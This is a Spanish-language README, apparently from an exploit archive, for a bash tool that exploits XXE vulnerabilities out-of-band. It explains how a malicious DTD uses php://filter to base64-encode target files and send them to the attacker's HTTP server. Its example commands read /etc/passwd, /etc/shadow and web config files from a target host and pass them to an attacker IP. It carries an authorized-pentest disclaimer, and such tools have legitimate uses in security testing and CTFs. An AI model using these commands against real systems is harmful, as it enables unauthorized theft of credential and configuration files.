Share
## https://sploitus.com/exploit?id=CB44B0DD-D7F8-598B-986C-7CA6FC4C296B
# XXE Out-of-Band File Exfiltration Tool

Herramienta en bash para explotar vulnerabilidades **XXE (XML External Entity)** mediante técnica out-of-band (OOB) con un DTD malicioso servido desde un servidor HTTP local.

> ⚠️ **Solo para pentesting autorizado y CTFs.**  
> No utilices esta herramienta contra sistemas que no sean de tu propiedad o para los que no tengas permiso explícito.

---

## ¿Cómo funciona?

1. Genera un archivo `DTD` malicioso que usa `php://filter` para codificar en base64 el archivo objetivo y exfiltrarlo mediante una petición HTTP GET a tu máquina.
2. Levanta un servidor HTTP local con Python para servir el DTD y capturar los datos exfiltrados.
3. Envía el payload XXE al endpoint vulnerable.
4. Decodifica y muestra automáticamente el contenido del archivo.

```
Atacante                        Servidor objetivo
   |                                  |
   |-- HTTP POST (payload XXE) -----> |
   |                                  |-- carga malicious.dtd del atacante
   |  -----|
   |                                  |
   |  [decodifica y muestra archivo]  |
```

---

## Requisitos

- `bash`
- `curl`
- `python3`

---

## Uso

```bash
chmod +x xxe_exploit.sh
./xxe_exploit.sh [OPCIONES]
```

### Opciones

| Flag | Descripción | Requerido |
|------|-------------|-----------|
| `-u ` | URL del objetivo | ✅ |
| `-l ` | Tu IP local/atacante | ✅ |
| `-f ` | Archivo remoto a leer | ✅ |
| `-p ` | Puerto del servidor HTTP local (por defecto: 80) | ❌ |
| `-x ` | Payload XML personalizado | ❌ |
| `-o ` | Guardar el output en un archivo | ❌ |
| `-h` | Mostrar ayuda | ❌ |

---

## Ejemplos

**Leer `/etc/passwd`:**
```bash
./xxe_exploit.sh -u http://10.10.10.1/process.php -l 10.10.14.5 -f /etc/passwd
```

**Leer `/etc/shadow` en el puerto 8080 y guardar el resultado:**
```bash
./xxe_exploit.sh -u http://10.10.10.1/process.php -l 10.10.14.5 -f /etc/shadow -p 8080 -o shadow.txt
```

**Usar un payload XML personalizado:**
```bash
./xxe_exploit.sh -u http://10.10.10.1/vulnerable.php -l 10.10.14.5 -f /var/www/html/config.php -x mi_payload.xml
```

---

## Notas

- El servidor objetivo debe poder realizar peticiones HTTP salientes hacia tu máquina.
- El payload XML por defecto está orientado a endpoints PHP genéricos. Usa `-x` para proporcionar tu propio payload si la aplicación lo requiere.
- Si no se reciben datos, verifica que tu IP sea accesible desde el objetivo y que ningún firewall esté bloqueando la conexión.
- Requiere que el puerto 80 (o el especificado) esté libre en tu máquina.

---

## Disclaimer

Esta herramienta está destinada únicamente a **fines educativos** y **pruebas de seguridad legales**. El autor no se hace responsable del mal uso o daños causados por este programa. Obtén siempre la autorización correspondiente antes de realizar cualquier prueba.